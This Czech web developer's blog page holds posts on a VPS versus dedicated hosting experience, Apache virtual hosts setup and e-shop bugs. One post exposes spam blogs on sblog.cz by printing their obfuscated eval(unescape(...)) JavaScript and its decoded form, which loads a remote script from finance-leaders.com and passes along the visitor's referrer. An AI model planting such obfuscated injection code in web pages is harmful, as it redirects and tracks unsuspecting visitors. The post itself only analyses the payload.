PELMEL
domashneeporevo1.ru

Programování

VPS: Není vše zlato, co se třpití

3. 3. 2013

Z nabídek webhostingů vypadají VPS (virtuální servery) jako ideální volba. zdá se, že máte parametry klasického serveru za zlomek ceny. jenže ne vše je zlato, co se třpití.

Pro sofistikovanější aplikace je klasický webhosting mnohdy nedostačující. Potřebujete víc paměti pro práci s fotkama, pro importní skripty, nebo skripty jednoduše spouštět z konzole tak, aby běžěly třeba hodinu v kuse. To na webhostingu nedáte, takže jde do hry VPS a nebo dedikovaný či managed server.

Tvoříme eshopy na zakázku a hledali jsme řešení, kdy dostaneme požadovaný výkon a bude s tím co nejmíň práce. Volba padla na VPS. E-maily jsme klientům dávali na Google Apps, takže jsme u sebe řešili pouze web, což bylo výrazně pohodlnější, protože zabezpečit bezproblémový chod pošty je dle mého názoru pro každého provozovatele za trest, nejde o to jestli stroje běží, ale musíte se starat o spamovou politiku a jeden uživatel může nerozvážným rozesláním mailů ohrozit všechny další klienty.

Aplikaci si otestujete na lokálu, víte co požadujete. My šli cestou Wedos VPS v nejvyšším tarifu, tedy 8 modulů, což výkonově znamená 4 GB RAM, 3 virtuální procesory a 120 GB místa na disku. Dle našeho testování vhodné pro více než 10 středně velkých obchodů. Bohužel dříve, než jsme stačili tuto kvótu naplnit jsme poznali temnou stránku virtuálních serverů.

1. je to pomalé, ikdyž je to rychlé

VPS nebude v principu nikdy rychlé. Tím, že je to systém v systému, tak tam bude spoždění. Virtuální procesory nikdy nebudou tak rychlé, jako reálná vlákna procesoru. Navíc čistě teoreticky hosting může dát na mašinu více VPS, resp. více virtuálů, které mají v součtu více virtuálních procesorů, než je vláken fyzického procesoru. Procesy pak jednoduše čekají. Ta doma bude řádově v ms, takže vy nic nepoznáte a hosting více vydělá. Toho bych se obával především i VPS, kdy jsou hostingy s cenou na nebo pod hranici nákladů.

Tuto problematiku jsme si uvědomili při přechodu na dedikovaný server. Aplikace lítá jak ďábel i když nemá nacachované podstránky. Je rychlejší, než nacachovaná verze na VPS. Ale to nebyl hlavní důvod odchodu z VPS.

2. I/O zařízení jsou temnou stránkou VPS

Největším problémem VPS jsou I/O zařízení, resp. tedy primárně harddisk. Ten je sdílený a není nijak omezený. Zde nastal i náš problém s WEDOSem. Dlouhé týdny jsme řešili problém, kdy nějaký další uživatel serveru, na kterém běželo naše VPS využíval své VPS k nějaké prasečině, nejspíš Warez nebo šílené zálohování (což vzhledem ke kapacitě disku nebude až tak pravděpodobné, to vyjde levněji Wedos Disk) a nám tak nejely weby, resp. se načítal několik sekund. Rychlost připomínala doby dial-up připojení a wedos nebyl schopen zjistit viníka. Většinou to končilo tak, že podpora (velmi dobře cvičené opičky) předala technikům a ti, když se na to podívali, už neviděli nic, protože prasárny onoho uživatele v tu dobu neběžely na maximum. Řešení problémů tedy skončilo tím, že aktuálně problém nepřetrvává, takže vlastně žádný nebyl.

Problém se nám podařilo vyřešit až po mé nekonečné buzeraci techniků, kteří aby měli klid ve finále navrhli, že nás přesunou na jiný server. Přikládám graf, kde jsou vidět dva týdny utrpení a poté tři týdny spokojeného běhu našeho virtuálního serveru na nové mašině.

Abych ale WEDOS jen nekritizoval, migrace VPS na jiný fyzický server proběhla z jejich strany opravdu bleskově a bez jediného problému, výpadek trval asi minutu.

 

Disk je tedy alfou a omegou celého VPS, a pokud chytnete spolu-uživatele na jiném virtuálu s podobnou aplikací, resp. chováním, jste v háji, protože webhostingy, resp. alespoň Wedos argumentoval tím, že sdílené I/O zařízení nejsou garantované, takže vlastně máte smůlu.

Závěrem asi jen to, že v našem případě to stejně dopadlo odchodem na klasický dedikáč s Intel Xeon E3 (4 vlánka, 8 procesů) a 16GB RAM. Rychlost nejde porovnat, weby na dedikáči letí mnohem rychleji a halvně pokud by se něco podělalo, víte, že je to váš problém a že to prostě je v nastavení serveru. Ne, že strávíte desítky hodin hledání chyb, zabíjíte procesy a potom zjistíte, že to dělá na tý mašině někdo jinej a vy se jen vezete s jeho problémem…

Sblog.cz plný spamu a porna

29. 3. 2008

Shodou náhod jsem narazil na několik blogů na adrese sblog.cz, které jsou založeny spammery a fungují čistě pro přesměrování na pharmacy, porno, a další SPAM affiliate weby.

Způsob spamu, nebo chcete-li hacku je až trapně jednoduchý. Do stránky je vložen kódovaný javascript (pomocí funkce escape()), která je pak funkcí eval() vykonán.

Takový kód vypadá například takto:

eval(unescape("%66%75%6e%63%74%69%6f%6e%20%69%6e%63%6c%75%64%65%5f%64%6f%6d%28%73%63%72%69%70%74%5f%66%69%6c%65%6e%61%6d%65%29%20%7b%0a%20%20%76%61%72%20%64%6f%63%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%68%65%61%64%22%29%2e%69%74%65%6d%28%30%29%0a%20%20%76%61%72%20%6a%73%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%22%73%63%72%69%70%74%22%29%0a%20%20%6a%73%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%6c%61%6e%67%75%61%67%65%22%2c%20%22%6a%61%76%61%73%63%72%69%70%74%22%29%0a%20%20%6a%73%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%74%79%70%65%22%2c%20%22%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%22%29%0a%20%20%6a%73%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%73%72%63%22%2c%20%73%63%72%69%70%74%5f%66%69%6c%65%6e%61%6d%65%29%0a%20%20%64%6f%63%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%6a%73%29%0a%20%20%72%65%74%75%72%6e%20%66%61%6c%73%65%0a%7d%0a%66%75%6e%63%74%69%6f%6e%20%67%6f%28%29%20%7b%0a%69%6e%63%6c%75%64%65%5f%64%6f%6d%28%22%68%74%74%70%3a%2f%2f%77%77%77%2e%66%69%6e%61%6e%63%65%2d%6c%65%61%64%65%72%73%2e%63%6f%6d%2f%66%65%65%64%32%2e%70%68%70%3f%6b%65%79%77%6f%72%64%3d%22%2b%20%65%73%63%61%70%65%28%22%31%30%39%35%22%29%2b%22%26%66%65%65%64%3d%38%26%72%65%66%3d%22%2b%20%65%73%63%61%70%65%28%64%6f%63%75%6d%65%6e%74%2e%72%65%66%65%72%72%65%72%29%29%0a%20%20%72%65%74%75%72%6e%20%66%61%6c%73%65%0a%7d%0a%67%6f%28%29%3b%0a"));

Po rozkódování se ve stránce vykoná tento skript:

function include_dom(script_filename) { var doc = document.getElementsByTagName("head").item(0) var js = document.createElement("script") js.setAttribute("language", "javascript") js.setAttribute("type", "text/javascript") js.setAttribute("src", script_filename) doc.appendChild(js) return false } function go() { include_dom("http://www.finance-leaders.com/feed2.php?keyword="+ escape("1095")+"&feed=8&ref="+ escape(document.referrer)) return false } go();

Trapné, co? :)

Pro příklad 50 blogů, které patří těmto spamerům. V reálu jich bude typuju pár tisíc :) více

Virtuální servery v Apache

25. 12. 2007

Každý se jednou setká s tím, že přehazovat umístění aliasu localhost mezi více adresáři (projekty) je nepraktické. Ještě méně praktické je zakládat pro tyto projekty adresáře typu localhost/projekt1/ , resp. projekt2, atd. Nemůžete pak linkovat soubory absolutně, ale musíte počítat s tím, že od rootu vás dělí ještě adresář s názvem projektu.

Nejelegantnějším a nejpraktičtějším řešením je založení aliasu – adresy pro každý projekt.

Postup je jednoduchý.

Neprve si otevřete soubor httpd.conf (nachází se ve složce, kde máte nainstalovaný apache, resp. v podsložce conf. Některé instalační balíčky obsahující apache + php + mysql, jako například wamp server, mají odkaz na httpd.conf v menu).

V httpd.conf najděte a odkomentujte (smažte #) řádek „#Include conf/extra/httpd-vhosts.conf“. Zápis virtuálních serverů by byl možný i do samotného httpd.conf, ale zápis by byl velmi nepřehledný. Tímto povolíte vložení pravidel, která budou v souboru httpd-vhosts.conf, který se nachází ve složce, kde máte nainstalovaný apache, resp. v podsložce conf/extra/. Jako výchozí je v tomto souboru nějaký příklad. Moc použitelný ovšem není. Obsah proto smažte a vložte něco na způsob kódu, který je na konci článku (v případě, že jej čtete z kategorie, tak pak rozklikněte na detail) – vzorové nastavení 3 virtuálních serverů – localhost, projekt1 a projekt2

Po tomto nastavení je třeba restartovat Apache. Aliasy těchto serverů je potřeba nastavit také v souboru hosts, který se nachází ve složce Windows, resp. podsložkách system32/drivers/etc/ (na linuxu ve složce /etc/hosts). V tomto souboru je několik příkladů. Pro výše zmíněné nastavení upravte řádek s adresou 127.0.0.1 (případně ho přidejte) takto:

127.0.0.1 localhost projekt1 projekt2

Poznámka: Na konci souboru hosts by měl být z nějakých důvodů 1 prázdný řádek

Tímto máte nastavený Apache a své 3 servery. více

Zboží.cz má nejrychlejšího robota na světě! :)

5. 10. 2007

Včera jsem psal o chybách nového zboží.cz od Seznamu a dnes jsem narazil na další.

Robot, který zpracovává XML výstupy z eshopů pracuje rychleji, než čas. 220 položek dokáže zpracovat za-4 vteřiny (viz tento printscreen). Vývojáři si dali záležet a asi se máme s novým zbožím ještě na co těšit!

(tímto nechci nijak zpochybnit práci vývojářů, stane se, že někdo prohodí dva časové údaje. V tomto případě selhalo vedení projektu a testeři (pokud byli).

Kupuju fax a kasa mě posílá „do prdele“ :)

9. 8. 2007

Před 2 roky jsme do kanceláře kupovali fax. Tehdy se mi nejvíc líbil Panasonic KX-FLM552EX a mé představy dokonale splnil. Měsíčně zvládá tisknout stovky dokumentů při velmi malých nákladech. Potřebujeme vybavit novou kancelář a tak jsem sháněl ještě jeden tento model, ale podle očekávání má už nástupce – KX-FLM653EX.

K vyhledávání zboží používám v 70% jyxo. Nabízí několik filtrů a pokud nehledám nějakou speciální věc, je toto hledání velmi rychlé.

Při hledání nového faxu jsem se nechal unést sponzorovaným odkazem. Přešel jsem tedy na stránky Netfox. Sice hned vidím jaký mám koupit náhradní válec, jaký toner, ale nevidím fotku a chrlí to na mě nesmyslné položky v tabulce. Dostupnost: Sale, Status: V ceníku … cože? Možná by bylo fajn napsat rovnou, že dostupnost na dotaz a to,že je v ceníku vidím sám … kdyby tomu bylo jinak, na produkt se nejspíš nedostanu :)

No nic, jdu se ještě podívat o dům dál. Pokračuji na první nejrelevantnější výsledek – Obchodní dům MiJa. Tabulka detailu produktu je přehledná, faktická. Doprava zdarma, fajn. Dostupnost na dotaz … klikám na slovo na dotaz, ale nic se neděje … to nestojí o to abych jim napsal? nebo jim jen ujel kurzor a tváři se to fiktivně jako odkaz? No sice je kontaktní formulář vedle, ale to je neomlouvá :) Navíc nemají náhradní toner a válec. Alespoň ne mezi souvisejícím zbožím.

Jdu hledat dál. Koukám ještě na několik obchodů, ale nikde zboží nemají. Schválně si ze zvědavosti odfiltruju zboží dle ceny s limitem 5000, abych se zbavil nabídky tonerů. Narazím na x-store … sice o kvalitě eshopu nemůže být ani řeč, ale mají ho skladem. Po vyhledání nacházím i toner. Tady trochu tápu, protože u toneru není napsané, že je pro můj fax. Jdu proto na megaobchod a kasu, abych se podíval, jestli považují za kompatibílní ten samý toner. Na stránkách megaobchodu kompatibilitu potvrzují, na kasa.cz jakoby tušili, že u nich nic nekoupím a rovnou mě posílají nedefinovanou metodou do prdele. Ano, je to tak:

Kasa.cz mě posílá do prdele

Závěr
Pokud už investujete peníze eshopu, myslete i na to, jak vydělat na každém zákazníkovi co nejvíc. Není nic jednodužšího, než mu doporučit nějaké zboží k produktu, který kupuje. V mém případě tedy toner a válec. Stejně mě jejich koupě do 2-3 měsíců nemine, tak proč to nekoupit hned a neušetřit na poštovném. Ale jak je i tady vidět, díky dostupnosti a ceně i špatný eshop, který je někde trošku vidět, získá zákazníka :)

Závěr pro programátory
Vypněte si error reporting, nebo používejte logické pojmenování funkcí :)

UPDATE: V reakci na komentář z Kasy.cz bych rád podotkl, že mne onen error neurazil, ale pobavil :)

RSS